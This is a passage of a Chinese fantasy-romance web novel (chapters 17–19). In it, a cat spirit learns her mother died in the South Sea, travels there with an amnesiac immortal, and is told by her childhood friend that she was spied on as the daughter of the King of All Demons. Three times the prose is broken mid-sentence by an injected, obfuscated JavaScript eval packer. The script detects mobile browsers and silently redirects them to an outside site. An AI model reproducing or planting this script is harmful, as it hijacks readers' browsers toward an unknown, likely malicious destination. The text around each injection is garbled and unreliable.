“还等什么?”楚柳双手挽着他的胳膊,“莫非你还没在这人间玩够?好嘛,这里的确是我见过最有意思的地方,但我们可以下次再来呀,等到人间的除夕夜,我们一起放鞭炮!” “还有东西留在客栈。” 两人回到客栈,清风和明月都换上了红色的棉袄,扎着冲天揪,看起来像是墙上的年画娃娃跑出来了。 她们看到楚柳就小麻雀似的叽叽喳喳围在她身边,好一会儿才肯放他们上楼。 “夫君,你还有什么留在这里呀?” 容贺渊走到桌上,拿起一个包袱。楚柳兴致勃勃地走上前打开,却愣住了。 这里装的都是他们在人间的夜市买来的一些小玩意,楚柳最喜欢的发簪,手镯,她的目光突然一顿,看到了两只栩栩如生的小泥人。 “这是……”她呆呆地把那两只泥人举起来,正是她和仙君的样子。 “我们的定情信物。” 容贺渊静静地从身后抱住她,低头轻轻亲了亲她的耳朵。 楚柳脸颊绯红,脑袋晕晕乎乎。 她想,这动情药果然有用,果然有用…… 17. 第 17 章 若是自欺欺人,得过且过,这样的日子倒也不错。 再也不用担心仙君恢复记忆后,一切情爱都成为破裂的泡沫,再也不用提心吊胆,觉得所有的幸福都是偷来的。 即使天气愈发寒冷,一场场大雪降临,也挡不住她的好心情。 楚柳哼着歌,两只毛绒绒的猫耳朵竖在头顶,尾巴也跟着哼歌的节奏一甩一甩,看起来就十分开心。 容贺渊走在她身后,尽管满怀心事,但看到楚柳如此高兴,也不由自主微微弯了弯嘴角。 “夫君,就在前面。”楚柳回眸一笑,向身后递出一只手。容贺渊连忙牵上,加快了脚步。 眼前是一个山洞,若是单看外表,与寻常的山洞没什么两样。 只是里走进了些便能看到洞穴中一片漆黑,什么都看不清,阴森的冷风吹过脸边,像是一只冰冷的手缓缓抚过。那风声也极其诡异,好像是谁在哀怨地呜咽。 妖气如此之重,容贺渊本能感到警惕, 楚柳用尾巴蹭了蹭他的手腕,抿唇一笑,“别害怕,有我在。” “好。”容贺渊的表情仍是淡淡,声音却温柔含情。 越往山洞深处走,就越是另一番景象,茂林修竹,花草丛生,像是一个天然的恒温室,到处都是蓬勃生长的植物。 如果仔细看就会发现,这些植物中间藏着幼小的妖灵,一双双好奇的眼睛好似闪烁的星星,眨巴眨巴地盯着容贺渊颀长的身影。 ……这些妖灵日日在此吸收精华,虽说尚且稚嫩,但若是好好养着,也能成为大补的仙丹。 容贺渊从前只管捉妖之事,一闪而过的念头自是这些。那树丛间的妖灵却好像知道他在想什么似的,刚才还探出脑袋来盯着他瞧,现在全都急忙“咕叽咕叽”地躲藏到地底下了,有两只白色的小花妖还“砰”地撞到了一起,各自头晕眼花捂着脑袋“哇呜”叫了两声,一溜烟全都跳进了土里,咻的就不见了。 “这里有些简陋……你不要介意。” 楚柳不太好意思地推开门,还没等请仙君进去,门内突然扑出来一团黑影,像是潜伏已久的刺客。 “小心!” 容贺渊飞身上前将楚柳护在身后,却听到那黑影大喊一声,“别打别打!柳柳,是我呀!” “小葵?” 楚柳从仙君身后歪头一看,顿时惊喜地抱住了那团小黑球,“小葵,你怎么在这里!” 那小黑球是一只圆滚滚的黑色小猫,在地上转了一圈化作人形,变成一个穿着灰黑色衣裙的明艳少女。 她的眼睛是漂亮的湖泊色,长发梳成两只麻花辫垂在左右肩膀,俏皮可爱又十分机灵。 “柳柳,你可算回来了,这回出门这么久,我真是天天盼星星盼月亮!” 小葵抱着她转了好几圈,停下来时楚柳头都晕了,眼前像是能看到一圈金色的星星在转,摇摇晃晃了几下,被仙君扶了一把才站稳。 “你这么想我呀。” 楚柳笑得眉眼弯弯,连忙把容贺渊和小葵互相介绍认识。说起小葵倒是很容易,是她八竿子打不着的亲戚家的远房妹妹,只是讲到容贺渊的时候却是有些犯难,她正想着该怎么开口,小葵就心领神会地清脆喊道,“姐夫!” “咳。” 容贺渊微微脸红,掩饰地咳嗽一声,颔首算是打了招呼。 小葵偷偷跟楚柳咬耳朵,“好看是好看,就是太害羞了……” 楚柳忍住笑,又问,“是树妖伯伯让你来这儿等我?” “是呀,柳柳,”小葵猛地点头,突然又想到什么,手忙脚乱地在身上找了起来,“有个东西,树妖伯伯说我一定要亲手交给你的。奇怪,我明明每天都带在身上呀,难道真的弄丢了?” 小葵找了半天,鞋子都脱下来倒了倒,最后终于一拍脑袋,“想起来了,我怕自己弄丢了,上回来这儿的时候,已经藏在你的宝贝抽屉里啦!”还顺手拿走了一对玲珑锁玩。这事小葵倒是知道要守口如瓶。 “好,”楚柳轻掐了掐她的脸蛋,“谁送来的信?” 小葵老老实实地说:“不知道,可能是妖盟那边送来的……你不在,就给了树妖伯伯,他让我一定交给你。” “我知道了,谢谢小葵。” “不客气,”小葵笑起来露出两只圆圆的酒窝,“柳柳,你先和姐夫好好休息,今晚我们给你大办一场接风宴!” 等到小葵离开后,屋子里顿时清净了不少。目之所及都是些简单的家具摆设,但仔细一瞧就会发现,好多都是楚柳亲手做的,虽然看起来做工粗糙,但都是按照她喜欢的风格。 楚柳一进来就去找小葵说的那封信,她一打开抽屉就看到好多小时候收集的玩意儿,那时爱不释手,现在看起来都是些随处可见的…破烂。 “好幼稚哦。”楚柳原本还想给仙君炫耀一番,这一看却是有些脸红,不好意思地要合上。 容贺渊却是拦住她的手,把那一抽屉稀奇古怪的东西都看了一遍,说道:“不幼稚,都很可爱。” 楚柳抿着嘴也压不住笑,她又在抽屉里找了半天,才翻出来那封妖盟寄来的信,连忙拆开。 信上只有几行字,读完之后,那张信纸就化成一阵青烟缓缓消失了。 楚柳双眸闪烁着莹绿的光,表情却僵硬地凝固在了脸上,她呆呆地睁着眼睛,张了张嘴却发不出任何声音,好像变成成了一块石头。 原来在悲伤到临界点的时候,身体会产生某种类似自我保护的本能,她像是一瞬间失去了意识,灵魂离开身体,自顾自逃开了这一切。 容贺渊连忙扶住她颤抖的身体,“柳柳,怎么了?” “我娘亲……”楚柳深呼吸了好几次,声音还是颤抖得厉害,“我娘亲死在了南海……她,她不会再回来了。” 这么多年,她们母女见面的次数,一只手都数得过来。 每回都是匆匆来了又走,不问她最近做了什么,和谁在一起,学会了哪些妖术,有没有坏心的小妖怪欺负她。 也不知道她有没有长高,也不知道她最近因为什么开心,因为什么失落。 楚柳小时候一直对娘亲忙完自己的事就会回来陪她这件事深信不疑,死心塌地,所以哪怕一千年,她也愿意这样乖乖地等下去。 但是她从来没想过娘亲会死,还是在那么遥远寒冷的南海。 “柳柳……你还有我。” 容贺渊一把将她拥入怀中,那单薄的身体仿佛轻轻一碰就会碎掉,他只能不断安抚着楚柳的后背,似乎能感同身受到她的悲痛 楚柳强迫自己逼回眼底的雾气,她用力抱住容贺渊,力气大到似乎要把自己嵌进对方的身体里,她小声说:“是……娘亲不在了,我只有你了。” 直到很长时间以后,楚柳还是觉得读了那封信的事不是真实发生过的,而是一场幻觉。 这件事楚柳还不想让小葵知道,她在外游历快小半年的时间,大家看到她回来都很开心,她不想说出难过的事。 所以当她走出房门时,便假装什么都没发生过。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691660|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葵从树底下挖出了一坛上好的陈年烈酒,树妖伯伯还想藏起来,可小葵挖起酒来力大无穷,动作比老鼠还快。树妖气得只能吹胡子瞪眼,抖落了好几片树叶。 “庆祝柳柳回来,当然要喝最好的酒啦。” 小葵一手抱着酒坛,一手叉腰,说得理直气壮。 楚柳藏起秘密,加入到这场庆祝她回来的宴会,像是一夜之间就长大了,懂得如何隐藏感情,不会因为受伤就痛哭,感到不满就发泄。 明明疲惫至极却处处温柔体贴,无人看出她真实的感受,除了一道冰雪初融般的目光,一直静静地凝在她的身上。 容贺渊在宴席上眼中只有楚柳,双眸尽是复杂的心疼和怜惜,对周围可以肆意抓捕的妖怪通通视而不见。 来这里明明是为了捉妖,可却压根狠不下心。 这是楚柳长大的地方。 柳柳年幼时就没了爹娘,是树妖伯伯照顾她,是阮眠和她一起长大,是小葵叫她“柳柳姐姐”,让她觉得自己是被需要的存在。 还有这么多奇奇怪怪的妖灵,穿着花瓣做的裙子唱歌跳舞,虽然只会唱“叽里呱啦”和“哇啦哇啦”,根本没人听得懂他们在唱什么。 可是大家却都笑得这么开心。 “柳柳,你这次和姐夫回来,是不是就不走啦?”小葵亲昵地挽着她的手臂,笑得十分开心。 楚柳却是面色迟疑,“我……”她看了一眼容贺渊,原本二人的打算就是留在这里,可是却没想到会知道那件事。 “我要去一趟南海,”楚柳轻轻把小葵脸边散落的碎发别到耳后,“等我回来之后,也许就不会走了。” 刚见面就要分开,小葵的神情难掩失落,她瘪着嘴问:“很快回来吗?” “很快,”楚柳柔声说,“一定很快。” 宴席结束已是深夜。 月光清凉如水,楚柳和容贺渊并肩坐在一棵榕树上,看着大如圆盘的月亮。 “柳柳最喜欢这样圆的月亮。” 容贺渊在她耳边轻声说道。 楚柳握住他的手,“你都记得。” “是,我都记得。”容贺渊也紧紧地回握住她,十指相扣,温暖有力。 “夫君,其实,关于我娘亲的事。”楚柳微微向后仰了仰,抬起眼睛看着浩瀚的夜空,“与其说是难过,其实更多的是迷茫……你可能会觉得我没良心吧,但是我和她,一共只见过几面而已。与其说我舍不得和怀念的是她,倒不如说是我想象中的她。而她去世了,所以我的想象也破灭了,那些我小时候幻想的团聚,永远不会有真正到来的那天。” 楚柳的声音很轻,像是盘旋落下的羽毛,容贺渊却是能感同身受到她的疼痛,用力握住了她的手。 “柳柳,我永远都不会离开你,我会一直陪伴你,保护你。” 他字字清晰认真地说, 楚柳慢慢把身体埋进了他的胸前,带着微弱的鼻音答应道:“嗯。” 暂时忘记你我之间的算计和欺骗,暂时忘记动情药,暂时忘记我们势不两立的身份。 他相信这句“我只有你”,她也相信这句,“我永远都不会离开你。” 两个人的心跳都是同样剧烈,慢慢重叠在一起。 温柔的吻蜻蜓点水般地落到额头,眉眼,沿着鼻梁滑下,慢慢覆盖上楚柳的嘴唇。 容贺渊的呼吸轻浅急促,先是温柔地贴住她的嘴唇,又停顿片刻,等到楚柳不明所以地探出一点舌尖,他才轻轻咬住对方的下唇,主动加深了这个吻。 18. 第 18 章 次日清晨,两人再次打点好包袱,准备启程。 “我娘亲既然已经死在了南海,我就要把她的尸骨带回来,就算没有,我也要前去祭拜。” 湛蓝天空无边无际,日光熹微明媚,是个晴朗的好天气。楚柳的声音轻柔却坚定,容贺渊看向她的目光满含温柔,“无论你去哪,做什么,我都会陪你。” 临行前,容贺渊看到楚柳腰间悬挂的淡蓝色锁魂珠,目光一顿,低声说道,“柳柳,我想要看看那颗灵珠。” “好。”楚柳毫无防备地取下那颗灵珠递过去。 夜色漆黑,灵珠在同时被他们触碰到的瞬间,突然亮起微光。 容贺渊把那颗泛着冰蓝色光芒的灵珠握在掌心,一瞬间又觉得头痛欲裂。 他眉头紧皱,脑内好像有什么应声而碎,又看到了那玉雕宫墙下的画面。白发苍苍的老人抚摸他的脸颊,粗糙的手掌传来针扎般的痛感。 那个年幼的孩子正是他自己。 “……你要报仇。” 又是这句,到底为什么要报仇,报的是什么仇,向谁报仇? 容贺渊集中精力,奈何脑海中闪过的却永远都是这些画面,无论他再怎么回忆前因后果,都无法记起在这一幕之前和之后都发生过什么。 “喵呜!” 他突然听到一声重物落地时的声响,回头一看,原本坐在桌边的楚柳竟然变成了一只狸花猫,从椅子摔到地上,灵活地滚了两圈。 “喵喵喵喵!” 一仙一猫互相瞪眼。 怎么回事! 容贺渊连忙快步走过去,把小猫抱进怀里,挠了挠它的下巴,“你怎么突然就现出原形了?” 狸花猫在他怀里用力摇头,意思是这并非她的本意! “难道……?”容贺渊的目光突然看向桌上那颗泛着蓝色幽光的灵珠。 每次灵珠都是同时影响到他们两个。他失去记忆,楚柳就失去妖力,他恢复记忆,那天楚柳也恢复了妖力。 现在他意识到了被抹除的记忆,楚柳就……变成小猫? 摸起来软乎乎的,好可爱。 容贺渊抿了抿嘴唇,微不可见地向上弯起嘴角,他明明能想办法帮楚柳变回人形,却偏做出一副难搞的样子,“事不宜迟,我们还是先上路。” “喵!”楚柳大声反抗,却还是被仙君抱在怀里揉了揉耳朵,就这样出门了。 窗外是纯白鹅毛般的漫天飞雪,屋内燃着炉火,比人间的三伏天还要炎热几分。 阮眠白皙的额头上热汗涔涔,她神情专注至极,紧紧盯着手中的药瓶。 站在她旁边的沈赋时不时帮她打打下手,再扇扇风,像个忠心耿耿的侍卫。 “这都一整天了,还没好。” 沈赋打了个哈欠,双眸仿佛含了秋水般湿润动人,似笑非笑地看向阮眠,手中执着折扇为她扇了扇风,忽然觉得好没意思。 “大小姐,你要不要跟我聊聊天?” 沈赋把折扇调转了方向,用圆滑些的扇柄那边挨上阮眠的下巴,使她微微抬起头来。 吹弹可破的皮肤,眉眼漆黑,嘴唇红润,狐妖的容貌向来都是摄人心魂,让他每回细看都觉得心跳加速。 “少烦我。” 阮眠没空理他,两手都忙着摆弄药罐,背后突然“砰”地长出一只毛绒绒的雪白尾巴,在沈赋的手臂上狠狠抽打了一下。 “哎哟。” 沈赋吃痛直蹦,阮眠也感觉手臂痛了一下,明明是自己打重了,还要骂沈赋讨厌至极。 又过了一个时辰,沈赋在旁边摇扇子摇得昏昏欲睡,突然听到一声巨响。 阮眠凝神看着桌上冒着白烟的药瓶,纤长卷翘的睫毛微微一颤,挑眉道:“成了。” “恭喜恭喜,”沈赋意思意思拍拍手,“那下一步,怎么找到传说中的万妖之王?” 阮眠小心仔细地收起药瓶,“谁说是传说中的了?一千年而已,相隔不算太久。”她眯了眯眼睛,“我们去南海。” 沈赋惊讶道:“整整一千年了,她还在南海镇守着那群海妖?” “是啊,被囚禁一千年的滋味,想必定是不好受,”阮眠喃喃自语,“前几百年,她倒是还能让魂魄离开肉身,偷跑出来几日,可是随着海妖暴动的次数越来越多,她也难以脱身。” 阮眠说到这里,语气似乎有几分悲伤难过,可是下一秒,她又恢复了一贯冷冷嘲讽的样子,“哼,若不是她只会委曲求全不敢反抗天帝,又怎会沦落至此?我们所有妖怪都怎会沦落到任由神仙抓捕杀害,肆意练成仙丹的地步!说到底,这一切都是她咎由自取。” 阮眠咬牙切齿,胸前内的愤怒和心疼翻江倒海般搅在一起,最后恨恨地说道,“都怪她太过软弱。” 楚柳和容贺渊这些天都在路上。 南海离得很远,路途艰难,道阻且长,但是因为和仙君互相陪伴,她也没有觉得辛苦。 第三日楚柳才变回了人形。那天雾霭重重,沉沉的雾气中不知道掺了什么,害她连打了两个喷嚏,又一次张大嘴巴的时候突然就向后一仰,差点要掉下去的时候又被容贺渊抓住后脖子按回来,两人直接摔倒在地上。 她“哎哟”地叫了两声,却是不疼。她揉了揉脑袋,看到被压在底下当肉垫的仙君,立刻手忙脚乱地爬起来,“你没事吧!” “没事。”容贺渊的表情竟像是还有些舍不得,颇为留恋地看了看楚柳的发顶。 楚柳很凶地在他肩膀上咬了一口,“到底喜欢那双耳朵还是喜欢我啊!” “自然是喜欢你。”容贺渊失笑,揉了揉她的头发。 楚柳哼了一声,活动活动胳膊和腿,四周看了看。这里是一处空旷的平地,四周并没有什么遮蔽物,但是不知从何时开始,白茫茫的大雾就越来越多,没有消散。 很快就要走到南海边上了,但是前方的路却有些看不清尽头。 “怎么又解开了?怪事真是一桩接着一桩,”楚柳吸了吸鼻子,心头突然用力一跳,“你有没有闻到这雾气中像是有奇怪的味道?” 容贺渊眉头微皱:“没有。” “难道是我嗅觉失灵了?”楚柳歪着头冥思苦想,只觉得这味道越来越奇怪,她身体也有些不舒服起来,心跳加快,头晕脑胀,四肢绵软。她突然意识到什么,“这是死去的妖怪的味道…” 容贺渊瞳孔一缩。 他向来都是只抓活妖,抓到了便交给专门炼丹的老神仙处置,还不曾知道死妖是什么味道。 楚柳的脸色却是越来越差,一张脸惨白如纸,鼻梁渗出细细的汗珠。 “那些死去的妖怪在哪里呢?” 她又吸了吸鼻子,慢慢地俯下身,膝盖跪在冰冷的地上,双手也摸进了潮湿的泥土里。 是因为雾吗?这些泥土怎么湿漉漉的,像是浸泡在…… 楚柳猛地睁圆眼睛,抬起手掌摊在眼前,看到了顺着手指不断淌下来的,粘腻的,黑红色的血,散发着一种令人作呕的腥臭味。她顿时觉得胃里翻江倒海,差点吐出来。 “柳柳。” 容贺渊撑住她的身体,扶住楚柳慢慢站起。他的眼神中也满是震惊,两人一路过来,地上的泥土一直都是正常的样子,可是接触了弥漫的雾气,埋藏在地底下的血水不断向上翻涌,现在他们所在的地方,全都埋着妖怪的尸骨。 “一千年前,南海曾经有过一场妖界的战乱,”容贺渊在楚柳的耳边低声说,“这些也许都是那时留下的。这么多年来,很少有神仙或是妖怪敢接近这里,所以一直无人清理,任由那些尸骨在此腐烂。” 楚柳处在惊惧之中,一时竟然忘记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691661|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他怎么会知道这些,下意识当成这些都也是从茶馆说书人那里听来的。容贺渊撕下一块白色衣袍帮她擦干净手指上的污血,低声道,“别怕,我在。” “嗯,”楚柳用力地深呼吸几下,顿时感到安心了些,她犹豫地看了看周围弥漫的白雾,“这些雾都是从海上飘来的,”她咬了咬嘴唇,“你说,既然很少有妖怪接近这里,那我娘亲怎么会死在这儿?……” 她的声音越来越小,恐惧如同一只狰狞的利爪,牢牢攫取住她的心脏。 难道娘亲的尸骨也和这些一千年前战死的妖怪同样埋在地下?那她岂不是没办法知道娘亲葬身在何处了。 原本以为能一切顺利,找到尸骨回去和小葵他们团聚,只是现下看来,南海这地方到处都透着诡异,疑点重重。 容贺渊安抚地握了握她的手,“南海附近有很多一直生活在此的海妖,若是问一问,也许会知道关于你娘亲的事。” “好。”楚柳慢慢地叹了一口气。 妖盟的信件不会做假,事到如今她已经不敢奢望娘亲会平安无事,只是希望至少知道能在哪里祭拜,让她以后也有一处能怀念的地方。 去南海这一路上天寒地冻,好像穿越了一整个冰原,每隔几天都要下一场大雪。 沈赋的睫毛上沾了白色的雪花,使他看起来毛茸茸的,只是眨眨眼就融化了。 他打了个喷嚏,突然一个重心不稳险些摔倒,阮眠下意识想扶他一把,突然却感觉头痛欲裂,“嘶”地抽了一口冷气。 她站稳后耳边仍是阵阵嗡鸣,好像有谁用锤子在脑袋上重重砸了一下。 沈赋看到她秀气的眉间有团黑气若隐若现,心下一惊,连忙扶住她的手臂,“很疼吗?” 那阵如同针扎般剧烈的疼痛很快便消失了,阮眠并不知道自己的眉宇间缭绕黑雾,挡住沈赋了沈赋伸过来的手,“没事,疼不疼你自己不知道?” 可是沈赋却真的没有感觉到那阵疼痛。 又或者说,他已经痛过一次,永远都不会再痛了——那团黑雾,正是走火入魔的前兆。 阮眠冷笑一声,“喂,你这泥巴做的破身体不会哪天散架了吧?我可不想灰飞烟灭。” 沈赋的掌心渗出冷汗,定定地看向她,突然神色认真地说道:“我不会有事,你放心,为了你,我不会有事。” 阮眠却是懒得认真听他唠唠叨叨,只当他又在抽风,两人继续向前走着,很快就要到南海了。 “我认识一个树妖,”阮眠看似不经意地提起,“他最擅长做东西了,小时候就是他教我和楚柳怎么做桌子,椅子……还有弹弓,”想到从前有趣的事,阮眠轻笑了一声,“等日后,我让他用木头给你做一个身体,肯定比泥巴要好。他的手艺可是很厉害的。” “难道比我还厉害?”沈赋的语气不自觉带了一点酸意,像是在吃醋。 阮眠倒也有心情哄他,贴在沈赋的耳边柔声说道,“是,你最厉害了。”那声音妩媚甜腻,听了连骨头都酥软起来,沈赋正在得意,阮眠却又突然想到什么,话锋一转,“三年打猎却抓不到兔子的时候——哭得最厉害。” 沈赋脸颊一红,表情不悦道:“你怎么总提这个!那时我只是……”他止住话头,又笑嘻嘻道,“我知道了,一定是从那时开始,你就对我一见钟情,念念不忘。” 阮眠从鼻腔冷哼出一声,不再理他。 沈赋跟在她身后呼了口气,却是心道好险,可是刚放松下来,就又觉得一阵不安。 同命咒竟然还会把他体内冲撞的邪气也传到阮眠身上? 他已经没有回头路可走了,但阮眠千万不能像他一样,不能变成像他这般的……怪物。 他们正往前走着,四周突然开始弥漫起了白雾,二人同时停在原地,听到前面传来了一阵慌乱的脚步声。 19. 第 19 章 “别追我!别追我!” 一只孩童模样的小地鼠精仓皇狼狈地奋力跑过来,两条短腿扑腾得飞快,他时不时回头看看,一不留神“砰”地撞到了阮眠的脚边。 “哎哟!” 他叫了一声,现出原形变成一只棕黄色地鼠,踉跄两下就晕乎乎地倒了下去。 “南海还有这种妖怪?”阮眠弯下腰拎起它的后脖子,左右晃了晃,“醒醒。” 还没等这只地鼠睁开眼睛,就又有一阵更为急促的脚步声,阮眠还未等抬头看向是谁,就听见一道熟悉的不能再熟悉的声线。 “都说了只是想问问!你跑什么呀,我又不会吃了你!我平时都是吃鱼的,从来不吃老鼠!” 阮眠一瞬间只感觉全身的血液逆流。 沈赋也顿时缩紧瞳孔,“这声音是?她怎么也来了南海?” “快走!” 阮眠下意识想要躲藏,可根本来不及了,深绿色衣裙已经飞身到她面前,楚柳瞪圆了眼睛,半是惊喜半是疑惑地喊道,“阮阮?” 电光火石间,阮眠闪过一个微妙的念头,难道楚柳他们是跟踪自己至此——可这个想法转瞬即逝,她对楚柳了如指掌,知道这不是说谎的表情。 怎么会有如此巧合? 阮眠片刻的时间换了好些个神情,狐妖最擅长蛊惑人心,楚柳那点伪装的伎俩,在她面前根本不是对手。可是这次却连她也没办法装出若无其事的样子,编出“为何在此”的理由。 手中的地鼠慢悠悠地醒了,睁开眼睛看到楚柳又是吓得一激灵,差点没再次晕倒。楚柳手疾眼快,在它又要晕过去之前一把抢到了手里,“我都说了,只是想问你几个问题,真的不是要吃你!” 地鼠瑟瑟发抖地咽了咽口水,“不知道,都不知道,什么都不知道。” “柳柳,”阮眠柔若无骨的手指轻轻覆盖在楚柳的手背上,“让它走吧,南海神秘莫测,它就算看到了也不会懂发生过什么。” 楚柳还以为阮眠会说出“把它揍一顿就老实了”这样的话,这却是在意料之外,她回头看了一眼仙君,却是奇怪的很,容贺渊的目光冷冰冰地落在阮眠身上……正是初遇时候楚柳看到的那种眼神。 神仙看妖怪的眼神。 想要杀掉她的眼神。 楚柳心下一惊,手腕也跟着轻微一颤,那吓得魂都快要没了的地鼠抓住时机,“吱吱”叫了两声就从她的手心里逃了出去,一掉到地上就火急火燎地挖了地洞,顺着隧道跑得比流星还快。 奇怪的是,当地鼠遁走,他们四人聚到一处的时候,弥漫的白色浓雾慢慢消散了,每个人都清清楚楚看得见彼此的神情,没有任何遮挡。 “我们还真是有缘,竟然又遇见了,不如大家找个地方叙叙旧,聊聊天。” 一直沉默不语的沈赋却突然上前,不着痕迹地挡住了容贺渊落在阮眠身上的那道视线,一双桃花眼泛着微微笑意,“只是这南海实在荒芜偏僻,话说回来,你们怎么会来这里?” 楚柳正要开口,容贺渊却声音冷清地反问道,“那你们又是为何?” 方才还有些随意的气氛顿时变得剑拔弩张,他们像片刻间就从偶遇的旧友变成了互相猜忌的敌人。楚柳还没有看清楚状况到底怎么回事,只是——这三个人的脸色,却是一个比一个难看。 沈赋迟迟没有回话,阮眠也紧抿嘴唇,手指轻动,是时刻准备进攻的姿势。 怎么就变成这样的局面了? 楚柳一阵头皮发麻,心里顿时有了些不好的预感,她眼皮跳了跳,小声问道,“阮阮,到底怎么回事啊?” “我都还没问你,你怎么来了南海!” 阮眠突然抬高的声音让楚柳吓了一跳,那眼神中的警惕和怀疑也让下意识感到心慌无助,好像做错了什么事,忘记诘问对方,甚至以为阮眠是在担心她的安全,“我……收到妖盟的信……”她一紧张就有些反应迟钝,容贺渊一步挡在她身前,雪白的长剑寒冷锋利,直指阮眠咽喉。 阮眠却是毫无惧意,剑尖差点划破她娇嫩的皮肤,可她仍是嘴角上扬,笑意却不达眼底。目光如冰冷的毒蛇般游走在他们之间,眼底的冷意更盛,忽地嗤笑了一声,“我是来游山玩水,如何?” 南海荒芜已久,周围都是千年前的一场恶战后留下的断壁残垣,这话鬼都不信。 能说出这种话来,是没有任何诚意了。 二人僵持不下,阮眠身侧的沈赋微微一笑,手中的折扇不动声色地抵住了容贺渊手中的雪白长剑,神色自若地说道:“仙君稍安勿躁,若是有什么想知道的,可以问我。” 话音刚落,那把折扇突然展开,藏在其中的锋利刀刃碰撞剑身,阮眠也趁机向后一躲,下意识拉住楚柳的袖子,带她到了离远些的地方。 “上一回没有分得出胜负,”沈赋笑得轻狂肆意,“这次还请仙君多多指教了。” 容贺渊心知要是想从阮眠口中问出真相,就要先解决掉眼前这个大麻烦,便也执剑而立,仙气凝成白金色的光芒铺展在身后,他狭长的眼睛深邃阴翳,高挺的鼻梁下薄唇紧抿,周身绕着杀气。 沈赋收敛了笑容,眼眸中像是有燃烧的火焰在跳动,“这次我可不会手下留情。” 容贺渊面无表情,双眸幽深如井,声音疏离道:“我也不会。” 翻滚的魔气又一次在沈赋身后凝成黑烟,慢慢变幻出一朵巨大的莲花。可是沈赋却没有像上次那样被呛得咳嗽,他直勾勾地盯着容贺渊,忽然扬起嘴角,“我怎么觉得,从前见过你。” “是吗?”容贺渊轻笑一声,“在你还在天宫做上仙的时候吗?” …… 他们俩打得不可开交,甚至天地都为之震颤。南海就在不远处,连海浪澎湃的声音都能听见,脚下的泥土虽然不再向上翻涌鲜血,但那股令人作呕的味道仍未消散。 她们踩着一地妖怪的尸骨。 想到这件事,阮眠心中的恨意就像是火上浇油般燃得更盛——她不知道自己眉间缭绕的黑雾也颜色越来越深,只把这恨意都算在了楚柳的身上,看向她的目光好似凛冽的利剑。 那边打得这样激烈,楚柳却根本没心情看他们谁会输谁会赢,她目光执拗地盯着阮眠,只觉得事情不应该是这个样子。 “阮阮,我来这里,是因为收到了妖盟的信,信上说我娘亲死在了南海。我想要来看看是怎么回事……”她把知道的一切都原原本本地说了出来,诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691662|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恳地看向阮眠,希望她们还能向从前那样对彼此完全坦诚,亲密无间,“那你呢,你为什么也来了南海?我们从小一起长大,你不会有事瞒着我,你怎么会有这么多我不知道的秘密呢……” 她说得断断续续,连呼吸都很困难,喉咙里像是不上不下地卡着一根鱼刺,声音都干涩沙哑。 “是啊,我们从小一起长大,你可知道为什么狐妖一族世代都居住在山上,我却放着我的莲花山不回,要陪你在洞穴里几百年?你知道我为什么时时刻刻监视你,把所有时间都浪费在和你一起!” 恨意早已蒙蔽了心脏,只想找到最能伤害对方的话,痛痛快快地发泄出来。 阮眠声音冷厉地打断了她,接下来说出的话更是每个字都像是一把刀子,把楚柳生生凌迟。 “你当我愿意和你做朋友吗?” “你监视我?” 楚柳顿时脸色煞白。 年幼时的记忆好像洪水一般涌来。 她们形影不离,每天都手牵着手,连地上的影子都不曾分开。 想起树妖伯伯只做好了一张摇篮床,她们两个手牵着手躺在上面,盖着同一个被子,阮眠的身体像是柔软的花瓣,笑容甜美地抱着她说:“柳柳,明天睁开眼睛,我第一个要看到的就是你。” “不管你去哪都要告诉我。” “不要让我找不到你。” “我们是最好的朋友,最好的朋友,就是不能分开的。” …… 这些都只是为了“监视”吗。 楚柳的手指攥成拳头,越攥越紧,指甲都深深地掐进了肉里,却一点儿都感觉不到疼。身体深处的疼痛,远比皮肉流血更痛。 她突然想到一件很久之前的事,她和容贺渊从结界出来不久后,就在人间的露天饭馆中看到了阮眠。 阮眠从不喜欢来人间的。 那时候她竟然以为她们长大了都不曾分开是因为感情深厚,她还庆幸过这份友谊能持续整整一千年。 “所以,你为什么要监视我……?” 楚柳的眼中一片迷茫,胸腔像是翻涌着酸涩的潮水,“我没有得罪过你。” 阮眠眼神冷冽地看着她:“因为这是我的任务,我的职责,就是监视万妖之王的女儿。” “……万妖之王?”楚柳念出这四个陌生的字,“女儿?可是我爹娘都……” 